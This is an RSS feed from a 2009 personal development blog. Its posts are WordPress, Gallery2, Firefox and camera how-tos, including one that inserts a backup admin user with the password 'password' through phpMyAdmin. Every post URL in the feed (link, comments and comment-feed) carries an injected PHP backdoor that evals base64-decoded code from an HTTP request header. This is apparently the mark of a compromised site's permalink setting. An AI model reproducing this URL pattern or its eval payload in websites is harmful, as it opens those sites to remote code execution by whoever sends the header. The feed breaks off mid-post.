<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Random Development Crap</title>
	<atom:link href="http://candicimo.com/dev/feed/" rel="self" type="application/rss+xml" />
	<link>http://candicimo.com/dev</link>
	<description>These are the developing voyages of the starship candicimo</description>
	<lastBuildDate>Tue, 21 Jul 2009 03:43:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Wordpress &gt; Default Widgets</title>
		<link>http://candicimo.com/dev/2009/07/20/wordpress-default-widgets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://candicimo.com/dev/2009/07/20/wordpress-default-widgets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 03:19:34 +0000</pubDate>
		<dc:creator>candicimo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[meta widget]]></category>
		<category><![CDATA[sidebar]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[Wordpress 2.8]]></category>

		<guid isPermaLink="false">http://candicimo.com/dev/?p=150</guid>
		<description><![CDATA[FYI: Pages, Archives, Categories, Blogroll and Meta are the default widgets.
If anyone else reading this post has all of them and wants to get rid of all of them or some of them but you don&#8217;t see them in your sidebar on the widget page&#8230;
Take a breath, they aren&#8217;t hiding. You aren&#8217;t crazy. They&#8217;re just [...]]]></description>
			<content:encoded><![CDATA[<p><strong>FYI:</strong> Pages, Archives, Categories, Blogroll and Meta are the <em>default widgets</em>.</p>
<p>If anyone else reading this post has all of them and wants to get rid of all of them or some of them but you don&#8217;t see them in your sidebar on the widget page&#8230;</p>
<p>Take a breath, they aren&#8217;t hiding. You aren&#8217;t crazy. They&#8217;re just the defaults.</p>
<p> </p>
<p><strong>If you don&#8217;t want SOME of them:</strong>  Go into your dashboard and <strong>ADD the widgets you DO want</strong>&#8230;. it will make the rest all magically disappear!</p>
<p> </p>
<p> <strong>If you don&#8217;t want ANY widgets whatsoever:</strong> Go to your dashboard and add a text widget and leave it blank. Save. Done.</p>
<p> </p>
<p><span style="font-family: mceinline;">**</span><strong>If this still doesn&#8217;t get rid of them</strong>, then they are probably hard-coded into your theme&#8217;s <strong>sidebar.php</strong> and you need to delete them from that as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://candicimo.com/dev/2009/07/20/wordpress-default-widgets/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wordpress &gt; Removing Links from Meta Widget</title>
		<link>http://candicimo.com/dev/2009/07/20/wordpress-removing-links-from-meta-widget/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://candicimo.com/dev/2009/07/20/wordpress-removing-links-from-meta-widget/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 03:05:04 +0000</pubDate>
		<dc:creator>candicimo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[links]]></category>
		<category><![CDATA[meta]]></category>
		<category><![CDATA[meta widget]]></category>
		<category><![CDATA[sidebar]]></category>
		<category><![CDATA[widget]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[Wordpress 2.8]]></category>

		<guid isPermaLink="false">http://candicimo.com/dev/?p=131</guid>
		<description><![CDATA[Since this issue comes up at least once a day if not more in the support forums, I&#8217;ve decided to create an entry about it so I can stop repeating it.
If you want to keep the Meta Widget but remove some of the links to it, here is how (note that post is in relation [...]]]></description>
			<content:encoded><![CDATA[<p>Since this issue comes up at least once a day if not more in the support forums, I&#8217;ve decided to create an entry about it so I can stop repeating it.</p>
<p>If you want to keep the Meta Widget but remove some of the links to it, here is how (note that post is in relation to Wordpress 2.8.1 but will also work for 2.8)**:</p>
<p> </p>
<p><strong>Files to Edit:</strong> wp-includes/default_widgets.php</p>
<p> </p>
<p><strong>1. Open default_widgets.php and find this section (~ line 273):</strong></p>
<pre class="brush: php">
/**
 * Meta widget class
 *
 * Displays log in/out, RSS feed links, etc.
 *
 * @since 2.8.0
 */
</pre>
<p><strong>2. Now scroll down and find this:</strong></p>
<pre class="brush: php">
&lt;ul&gt;
&lt;?php wp_register(); ?&gt;
	&lt;li&gt;&lt;?php wp_loginout(); ?&gt;&lt;/li&gt;

	&lt;li&gt;&lt;a href=&quot;&lt;?php bloginfo(&#039;rss2_url&#039;); ?&gt;&quot; title=&quot;&lt;?php echo esc_attr(__(&#039;Syndicate this site using RSS 2.0&#039;)); ?&gt;&quot;&gt;&lt;?php _e(&#039;Entries &lt;abbr title=&quot;Really Simple Syndication&quot;&gt;RSS&lt;/abbr&gt;&#039;); ?&gt;&lt;/a&gt;&lt;/li&gt;

	&lt;li&gt;&lt;a href=&quot;&lt;?php bloginfo(&#039;comments_rss2_url&#039;); ?&gt;&quot; title=&quot;&lt;?php echo esc_attr(__(&#039;The latest comments to all posts in RSS&#039;)); ?&gt;&quot;&gt;&lt;?php _e(&#039;Comments &lt;abbr title=&quot;Really Simple Syndication&quot;&gt;RSS&lt;/abbr&gt;&#039;); ?&gt;&lt;/a&gt;&lt;/li&gt;

	&lt;li&gt;&lt;a href=&quot;http://wordpress.org/&quot; title=&quot;&lt;?php echo esc_attr(__(&#039;Powered by WordPress, state-of-the-art semantic personal publishing platform.&#039;)); ?&gt;&quot;&gt;WordPress.org&lt;/a&gt;&lt;/li&gt;

&lt;? php wp_meta(); ?&gt;
&lt;/ul&gt;
</pre>
<p><strong>3. Delete the links you don&#8217;t want!</strong></p>
<p> <br />
And, guess what, when you upgrade your Wordpress installation, you&#8217;ll have to do this all over again. Yay!</p>
<p>**<strong>If you&#8217;re using a version of Wordpress prior to 2.8</strong>, you&#8217;ll find similar code in the wp-includes/widget.php file and these instructions are the same.</p>
]]></content:encoded>
			<wfw:commentRss>http://candicimo.com/dev/2009/07/20/wordpress-removing-links-from-meta-widget/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Can&#8217;t view localhost with Firefox</title>
		<link>http://candicimo.com/dev/2009/07/16/cant-view-localhost-with-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://candicimo.com/dev/2009/07/16/cant-view-localhost-with-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Jul 2009 03:04:07 +0000</pubDate>
		<dc:creator>candicimo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://candicimo.com/dev/?p=125</guid>
		<description><![CDATA[If you can view localhost with IE but it asks you for a user name and password in Firefox, try this work around:

Open Firefox and type about:config in the address bar
Find network.automatic-ntlm-auth.trusted-uris (just start typing it in the &#8220;filter&#8221; space)
Doubleclick and type localhost
Click OK &#8211; Voila! Done.

]]></description>
			<content:encoded><![CDATA[<p>If you can view localhost with IE but it asks you for a user name and password in Firefox, try this work around:</p>
<ol>
<li>Open Firefox and type <strong>about:config</strong> in the address bar</li>
<li>Find <strong>network.automatic-ntlm-auth.trusted-uris</strong> (just start typing it in the &#8220;filter&#8221; space)</li>
<li>Doubleclick and type <strong>localhost</strong></li>
<li>Click OK &#8211; Voila! Done.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://candicimo.com/dev/2009/07/16/cant-view-localhost-with-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Deleted Wordpress admin user&#8230;</title>
		<link>http://candicimo.com/dev/2009/07/13/deleted-wordpress-admin-user/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://candicimo.com/dev/2009/07/13/deleted-wordpress-admin-user/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 14 Jul 2009 02:42:05 +0000</pubDate>
		<dc:creator>candicimo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[admin]]></category>
		<category><![CDATA[privileges]]></category>
		<category><![CDATA[users]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[Wordpress 2.8]]></category>

		<guid isPermaLink="false">http://candicimo.com/dev/?p=103</guid>
		<description><![CDATA[If you&#8217;ve deleted your Wordpress admin user or somehow managed to lose your administrative privileges and you&#8217;re remotely familiar with phpmyadmin this might work for you.
All I did was created a generic admin user whose user number is 10000 so it wouldn&#8217;t conflict with any pre-existing users.
Username: backupadmin
Password: password
User number (just fyi): 10000
Login to phpmyadmin [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;ve deleted your Wordpress admin user or somehow managed to lose your administrative privileges and you&#8217;re remotely familiar with phpmyadmin this might work for you.</p>
<p>All I did was created a generic admin user whose user number is 10000 so it wouldn&#8217;t conflict with any pre-existing users.</p>
<p><strong>Username:</strong> backupadmin<br />
<strong>Password:</strong> password<br />
<strong>User number (just fyi):</strong> 10000</p>
<p>Login to phpmyadmin however you normally would, typically through your host management site.</p>
<p><strong>1. Choose your database.</strong></p>
<p><strong><a href="http://candicimo.com/dev/wp-content/uploads/2009/07/php1.JPG"><img class="alignnone size-thumbnail wp-image-105" title="php1" src="http://candicimo.com/dev/wp-content/uploads/2009/07/php1-150x150.jpg" alt="php1" width="150" height="150" /></a></strong></p>
<p> </p>
<p><strong>2. Open the query window.</strong></p>
<p><strong><a href="http://candicimo.com/dev/wp-content/uploads/2009/07/php2.JPG"><img class="alignnone size-thumbnail wp-image-116" title="php2" src="http://candicimo.com/dev/wp-content/uploads/2009/07/php2-150x150.jpg" alt="php2" width="150" height="150" /></a> </strong></p>
<p><strong> </strong><br />
<strong>3. Delete everything in the window (if anything) &amp; paste the following:</strong></p>
<blockquote><p>INSERT INTO wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES<br />
(10000, &#8216;backupadmin&#8217;, &#8216;$P$BmPLDEzDsIndBYN1IQqpQ2scT0HYWu/&#8217;, &#8216;backupadmin&#8217;, &#8216;backupadmin@backup.com&#8217;, &#8221;, &#8216;2009-07-14 02:18:29&#8242;, &#8221;, 0, &#8216;backupadmin&#8217;);</p></blockquote>
<p>Then hit &#8220;go&#8221;</p>
<p> </p>
<p><a href="http://candicimo.com/dev/wp-content/uploads/2009/07/php3.JPG"><img class="alignnone size-thumbnail wp-image-117" title="php3" src="http://candicimo.com/dev/wp-content/uploads/2009/07/php3-150x150.jpg" alt="php3" width="150" height="150" /></a> </p>
<p>Once it&#8217;s successfully inserted that into your table, go to your WP login and login as that user.</p>
<p>Go to the User page and give your original account admin privileges again.</p>
<p>Log out &amp; go back to your original account so you can delete the <em>backupadmin</em> user.</p>
]]></content:encoded>
			<wfw:commentRss>http://candicimo.com/dev/2009/07/13/deleted-wordpress-admin-user/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Wordpress 2.8 Syntax Highlighting is Evil.</title>
		<link>http://candicimo.com/dev/2009/06/29/wordpress-2-8-syntax-highlighting-is-evil/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://candicimo.com/dev/2009/06/29/wordpress-2-8-syntax-highlighting-is-evil/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 11:12:52 +0000</pubDate>
		<dc:creator>candicimo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[syntax highlighter]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[Wordpress 2.8]]></category>

		<guid isPermaLink="false">http://candicimo.com/dev/?p=101</guid>
		<description><![CDATA[The only thing I don&#8217;t like about WP 2.8 is the syntax highlighter. In concept, great idea&#8230; actual implimentation, total garbage.
Slows down your browser, locks it up, crashes, and adds a bunch of blank lines whenever and wherever it feels like it until your CSS file or PHP file becomes twice the size of the [...]]]></description>
			<content:encoded><![CDATA[<p>The only thing I don&#8217;t like about WP 2.8 is the syntax highlighter. In concept, great idea&#8230; actual implimentation, total garbage.</p>
<p>Slows down your browser, locks it up, crashes, and adds a bunch of blank lines whenever and wherever it feels like it until your CSS file or PHP file becomes twice the size of the original.</p>
<p>So go kill it already and wait for them to put out something better.</p>
<p><a href="http://www.themelab.com/2009/06/13/disable-syntax-highlighting-in-wordpress-28/" target="_blank">Disable Syntax Highlighting in Wordpress 2.8</a></p>
]]></content:encoded>
			<wfw:commentRss>http://candicimo.com/dev/2009/06/29/wordpress-2-8-syntax-highlighting-is-evil/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SMTP / mail() with GoDaddy (Windows)</title>
		<link>http://candicimo.com/dev/2009/06/18/smtp-mail-with-godaddy-windows/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://candicimo.com/dev/2009/06/18/smtp-mail-with-godaddy-windows/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 02:39:00 +0000</pubDate>
		<dc:creator>candicimo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[GoDaddy]]></category>
		<category><![CDATA[GoDaddy (Windows)]]></category>
		<category><![CDATA[mail()]]></category>
		<category><![CDATA[SMTP]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://candicimo.com/dev/?p=80</guid>
		<description><![CDATA[How to Send Email with WordPress from GoDaddy (Windows Hosting)
Absolutely LOVE this.  If you want to have users register themselves &#38; be emailed their password &#8212; you pretty much can&#8217;t do that if you host Wordpress on GoDaddy&#8217;s Windows server because the php mail() function is disabled.
This plugin kicks it&#8217;s ass. I just made a donotreply[at]candicimo.com email address and it [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.angstrey.com/index.php/2009/04/22/how-to-send-e-mail-with-wordpress-from-godaddy-windows-hosting/">How to Send Email with WordPress from GoDaddy (Windows Hosting)</a></p>
<p>Absolutely LOVE this.  If you want to have users register themselves &amp; be emailed their password &#8212; you pretty much can&#8217;t do that if you host Wordpress on GoDaddy&#8217;s Windows server because the php mail() function is disabled.</p>
<p>This plugin kicks it&#8217;s ass. I just made a donotreply[at]candicimo.com email address and it works beautifully.</p>
<p>More Wordpress work arounds coming soon, I just had to share this link before it got lost to the ether.</p>
]]></content:encoded>
			<wfw:commentRss>http://candicimo.com/dev/2009/06/18/smtp-mail-with-godaddy-windows/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Poor Man&#8217;s HDR Photography</title>
		<link>http://candicimo.com/dev/2009/06/14/the-poor-mans-hdr-photography/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://candicimo.com/dev/2009/06/14/the-poor-mans-hdr-photography/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 01:27:17 +0000</pubDate>
		<dc:creator>candicimo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[CHDK]]></category>
		<category><![CDATA[EasyHDR]]></category>
		<category><![CDATA[FDRTools]]></category>
		<category><![CDATA[HDR]]></category>
		<category><![CDATA[photography]]></category>
		<category><![CDATA[Photomatix]]></category>
		<category><![CDATA[Qtpfsgui]]></category>

		<guid isPermaLink="false">http://candicimo.com/dev/?p=63</guid>
		<description><![CDATA[Four sort-of-easy steps to HDR photography with your cheap Canon digital camera.
But first&#8230;

Read: What the hell is HDR photography?
Read: Hack Your Canon PowerShot to Add Superpowers

Okay, now&#8230;

Do: CHDK Installation for Dummies to set up your SD card
Set up camera (quick how-to)

Put in SD card with CHDK installation on it
Set up CHDK Settings

Turn on &#60;ALT&#62; mode (usually [...]]]></description>
			<content:encoded><![CDATA[<p>Four sort-of-easy steps to HDR photography with your cheap Canon digital camera.</p>
<p><strong>But first&#8230;</strong></p>
<ul>
<li>Read: <a href="http://www.stuckincustoms.com/hdr-tutorial/">What the hell is HDR photography?</a></li>
<li>Read: <a href="http://www.pcmag.com/article2/0,2817,2329392,00.asp" target="_blank">Hack Your Canon PowerShot to Add Superpowers</a></li>
</ul>
<p><strong>Okay, now&#8230;</strong></p>
<ol>
<li><strong>Do:</strong> <a href="http://chdk.wikia.com/wiki/CHDK_for_Dummies">CHDK Installation for Dummies</a> to set up your SD card</li>
<li><strong>Set up camera</strong> (quick how-to)
<ul>
<li>Put in SD card with CHDK installation on it</li>
<li><strong>Set up CHDK Settings</strong>
<ol>
<li>Turn on &lt;ALT&gt; mode (usually by pressing the &#8220;Print&#8221; button on camera)</li>
<li>Then press &#8220;Menu&#8221; button</li>
<li>Go to: Extra Photo Operations &gt; Bracketing in Continuous Mode &gt; Tv Bracketing value &gt; 2 Ev</li>
<li>Press &#8220;Menu&#8221; button again to close menu</li>
</ol>
</li>
<li><strong>Set up Canon Settings</strong>
<ol>
<li>Put in &#8220;Record Mode&#8221; (e.g. in &#8220;take picture&#8221; mode instead of &#8220;play&#8221; mode where you view your pictures)</li>
<li>Turn camera knob so that you are in Program mode</li>
<li>Press Func/Set button</li>
<li>Navigate to Drive Mode &gt; C (Custom)</li>
<li>Hit the &#8220;Menu&#8221; button to edit the &#8220;Custom&#8221; settings</li>
<li>Choose <strong>Delay: 1</strong></li>
<li>Coose <strong>Shots: 3</strong></li>
<li>Press Func/Set to exit</li>
</ol>
</li>
</ul>
</li>
<li><strong>Set up your tripod, take some pictures</strong></li>
<li><strong>Use one of these freeware HDR imaging programs:</strong>
<ul>
<li>The stupidly named <a href="http://qtpfsgui.sourceforge.net/download.php">Qtpfsgui</a></li>
<li><a href="http://www.fdrtools.com/fdrtools_basic_e.php">FDRTools basic</a></li>
<li><a href="http://www.easyhdr.com/download.php">EasyHDR Basic</a> (limited features compared to pro)</li>
<li><a href="http://www.hdrsoft.com/download.html#basic">Photomatix Basic</a> (limited to combining only 2 images)</li>
</ul>
</li>
</ol>
<p>I haven&#8217;t even really started to do any of this seriously yet because my tripod isn&#8217;t in Hawaii yet. When it is, I&#8217;ll come back and work on this some more. I&#8217;ve downloaded all four programs and I&#8217;m going to mess around with them and see which is my favorite.</p>
<p><strong>NOTES:</strong></p>
<blockquote><p>If you&#8217;d rather take 5+ shots, go back and set Tv (or Av, depending on your preference) Bracketing value to 1 and set drive mode to 5 or more shots.</p>
<p>If you want to use RAW images, set this up via the CHDK settings (&lt;ALT&gt; Mode, then press +/- button)</p>
<p><strong>Turn off &lt;ALT&gt; mode before taking shots</strong> or else it won&#8217;t take the picture but will instead say (and then indefinitely repeat) this:</p>
<p style="PADDING-LEFT: 30px">&#8220;<em>This is the default script. Scripts run when shutter is pressed in ALT mode. Press shutter to exit.</em>&#8220;</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://candicimo.com/dev/2009/06/14/the-poor-mans-hdr-photography/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gallery 2&gt; Ebony&gt; Axing the Lightbox</title>
		<link>http://candicimo.com/dev/2009/06/12/gallery-2-ebony-axing-the-lightbox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://candicimo.com/dev/2009/06/12/gallery-2-ebony-axing-the-lightbox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 09:01:52 +0000</pubDate>
		<dc:creator>candicimo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[album.tpl]]></category>
		<category><![CDATA[ebony 1.0]]></category>
		<category><![CDATA[ebony theme]]></category>
		<category><![CDATA[Gallery]]></category>
		<category><![CDATA[Gallery2]]></category>
		<category><![CDATA[lightbox]]></category>

		<guid isPermaLink="false">http://candicimo.com/dev/?p=51</guid>
		<description><![CDATA[More troubles with Ebony&#8230; This time, I had to get rid of the lightbox. I like it&#8230; but I&#8217;m trying to make my gallery family-friendly (e.g. for my grandparents) and I think it might stress them to have to click so many times just to get to the main image page.
The fixes I found for [...]]]></description>
			<content:encoded><![CDATA[<p>More troubles with Ebony&#8230; This time, I had to get rid of the lightbox. I like it&#8230; but I&#8217;m trying to make my gallery family-friendly (e.g. for my grandparents) and I think it might stress them to have to click so many times just to get to the main image page.</p>
<p>The fixes I found for this either required axing a lot of extra code or ended up axing features such as the javascript shadows, which I rather like&#8230; so here&#8217;s the easy way to make clicking on an image thumbnail go directly to the details/comments page.</p>
<p> </p>
<p><strong>Files you have to edit: </strong><br />
Album.tpl</p>
<p> </p>
<p>Make a copy of album.tpl and place it in your template/local folder (if this doesn&#8217;t exist yet because you obviously haven&#8217;t been slicing and dicing gallery2 code, go ahead and make a folder called &#8220;local&#8221; and place it in your template directory like so:: yourgallerypath/themes/ebony/templates/local).</p>
<p>Open album.tpl and find this, it&#8217;ll get you in the neighborhood: &lt;!&#8211; Start PhotoThumb &#8211;&gt;</p>
<p>Now, find this section of code:</p>
<p> </p>
<p> </p>
<p style="padding-left: 30px;">{else}</p>
<p style="padding-left: 30px;">&lt;a href=&#8221;{g-&gt;url arg1=&#8221;view=core.<span style="color: #ff0000;">DownloadItem&#8221; arg2=&#8221;itemId=`$child.resizedId`&#8221;}&#8221;</span></p>
<p style="padding-left: 30px;"><span style="color: #ff0000;">title=&#8221;{$child.title|markup} &amp;lt;br /&amp;gt;&amp;lt;a href=&amp;quot;{g-&gt;url arg1=&#8221;view=core.ShowItem&#8221; arg2=&#8221;itemId=`$child.id`&#8221;}&amp;quot;&amp;gt;Details/Comments&amp;lt;/a&amp;gt;&#8221; </span></p>
<p style="padding-left: 30px;"><span style="color: #ff0000;">pageLink=&#8221;{g-&gt;url arg1=&#8221;view=core.</span>ShowItem&#8221; arg2=&#8221;itemId=`$child.id`&#8221;}&#8221;</p>
<p style="padding-left: 30px;">rel=&#8221;<span style="color: #ff0000;">lightbox[photos]</span>&#8221; &gt;{g-&gt;image id=&#8221;%ID%&#8221; item=$child image=$child.thumbnail class=&#8221;%CLASS% giThumbnail reflect&#8221;}&lt;/a&gt;</p>
<p style="padding-left: 30px;"> {/if}</p>
<p style="padding-left: 30px;"> </p>
<p>Now delete everything <span style="color: #ff0000;">I&#8217;ve highlighted with red text</span>. This same section of code is repeated a few lines farther down in the album.tpl, you should easily see it. Delete the exact same section of code there.</p>
<p>The final product should look like this (in both places):</p>
<p> </p>
<p style="padding-left: 30px;">{else}</p>
<p style="padding-left: 30px;">&lt;a href=&#8221;{g-&gt;url arg1=&#8221;view=core.ShowItem&#8221; arg2=&#8221;itemId=`$child.id`&#8221;}&#8221;</p>
<p style="padding-left: 30px;">rel=&#8221;" &gt;{g-&gt;image id=&#8221;%ID%&#8221; item=$child image=$child.thumbnail class=&#8221;%CLASS% giThumbnail reflect&#8221;}&lt;/a&gt;</p>
<p style="padding-left: 30px;"> {/if}</p>
<p style="padding-left: 30px;"> </p>
<p>Save, upload to your &#8220;local&#8221; folder, done&#8230;.. No more lightbox. (If you have never customized your album.tpl before or you&#8217;re just lazy, you can also just <a href="http://candicimo.com/dev/wp-content/uploads/2009/06/album_nolightbox.zip">download my changed file here</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://candicimo.com/dev/2009/06/12/gallery-2-ebony-axing-the-lightbox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gallery 2 &gt; Bypass URL Rewrite for Updates/Popular</title>
		<link>http://candicimo.com/dev/2009/06/09/gallery-2-bypass-url-rewrite-for-updatespopular/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://candicimo.com/dev/2009/06/09/gallery-2-bypass-url-rewrite-for-updatespopular/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 00:06:34 +0000</pubDate>
		<dc:creator>candicimo</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ebony 1.0]]></category>
		<category><![CDATA[ebony theme]]></category>
		<category><![CDATA[Gallery]]></category>
		<category><![CDATA[Gallery2]]></category>
		<category><![CDATA[GoDaddy]]></category>
		<category><![CDATA[ISAPI]]></category>
		<category><![CDATA[ISAPI_Rewrite]]></category>
		<category><![CDATA[sidebar.tpl]]></category>
		<category><![CDATA[URL Rewrite]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://candicimo.com/dev/?p=3</guid>
		<description><![CDATA[If you have Gallery2 and use a GoDaddy account and are having problems with the URL Rewrite for Dynamic Albums, this might be of use to you. 
I am using the Ebony 1.0 theme and wanted to be able to use the &#8220;Newest Photos&#8221; (Updates) and &#8220;Most Viewed photos&#8221; (Popular) links in my sidebar without having [...]]]></description>
			<content:encoded><![CDATA[<p>If you have Gallery2 and use a GoDaddy account and are having problems with the URL Rewrite for Dynamic Albums, this might be of use to you. </p>
<p>I am using the Ebony 1.0 theme and wanted to be able to use the &#8220;Newest Photos&#8221; (Updates) and &#8220;Most Viewed photos&#8221; (Popular) links in my sidebar without having to mess with ISAPI_Rewrite because I am currently using a GoDaddy Window&#8217;s server and can&#8217;t figure the ISAPI stuff out&#8230;. so in the meantime, I just replaced the links in the Sidebar.tpl to bypass the rewrite process altogther. The links look ugly &amp; long, but at least the links work.</p>
<p><strong>Files to edit:</strong><br />
Sidebar.tpl</p>
<p><strong>Plugins you need:</strong><br />
Dynamic Albums</p>
<p><strong>Plugins you don&#8217;t need:</strong><br />
URL_Rewrite (since we&#8217;re bypassing it&#8230;)</p>
<p><strong>Shorthand that you must replace:</strong><br />
yoursite = Your www.____.com</p>
<p>yourgallerydirectory = Name of the folder or path to your Gallery installation<br />
if different than the root</p>
<p>YOURTHEME = Folder name of the theme you&#8217;re using. I am using ebony, so the<br />
folder name is just &#8220;ebony&#8221;</p>
<p> </p>
<p>First let&#8217;s go look at the links we&#8217;re going to use and copy them into a text file for later use. <strong>Go to your Gallery2 website and login in as the administrator.</strong></p>
<p>Go to the Site Admin portion of your gallery and <strong>ensure that you have the Dynamic Albums plugin installed</strong>. If it is, it should appear on your left sidebar as &#8220;Dynamic Albums&#8221; under the &#8220;Display&#8221; category. If you don&#8217;t see that, it&#8217;s not installed, so click &#8220;Plugins&#8221; on the sidebar. Then click &#8220;Get More Plugins,&#8221; find it, and download it.</p>
<p>Once you get that in place, <strong>click on it and it will take you to the page where you can adjust the settings</strong> for it. This page also gives you the two dynamic URLS for the updates/popular albums. They look like this:</p>
<p><span style="color: #000080;">http://yoursite/yourgallerydirectory/main.php?g2_view=dynamicalbum.UpdatesAlbum<br />
http://yoursite/yourgallerydirectory/main.php?g2_view=dynamicalbum.PopularAlbum</span></p>
<p>These are the two links you will be putting in your sidebar.tpl file, so <strong>copy them to a text file</strong> so you don&#8217;t have to re-type them later.</p>
<p> </p>
<p>Now you have to <strong>edit your Sidebar.tpl</strong> file.</p>
<p>If you&#8217;ve never edited this file before, you&#8217;re probably just using the default file in your main theme/YOURTHEME/templates directory&#8230; So before you edit it, what you should do is go to your /theme/YOURTHEME/template directory via FTP or your file manager, whatever, and create a new directory called &#8220;local.&#8221;</p>
<p>(This is what the full path should look like in your browser where &#8220;YOURTHEME&#8221; is whatever theme you&#8217;re using: http://yoursite/yourgallerydirectory/themes/YOURTHEME/templates/local)</p>
<p>Now, copy the Sidebar.tpl file from the main template directory to the &#8220;local&#8221; directory that you made. By doing this you ensure that any new updates to the theme by the owner that you install won&#8217;t over-write your newly edited/customized file.</p>
<p>Okay, so go to your theme/YOURTHEME/template/local directory and open your Sidebar.tpl so you can edit it. If it&#8217;s easier, you can download this file to your local computer, edit it (as below), and then re-upload it and overwrite the<br />
old file.</p>
<p><strong>Find this code within the file:</strong></p>
<p><textarea style="width: 530px; height: 45px;" cols="65" rows="2">&lt;li&gt;&lt;a href=&#8221;/updates&#8221;&gt;&lt;strong&gt;Newest Photos&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&#8221;/popular&#8221;&gt;&lt;strong&gt;Most Viewed Photos&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;</textarea><br />
 </p>
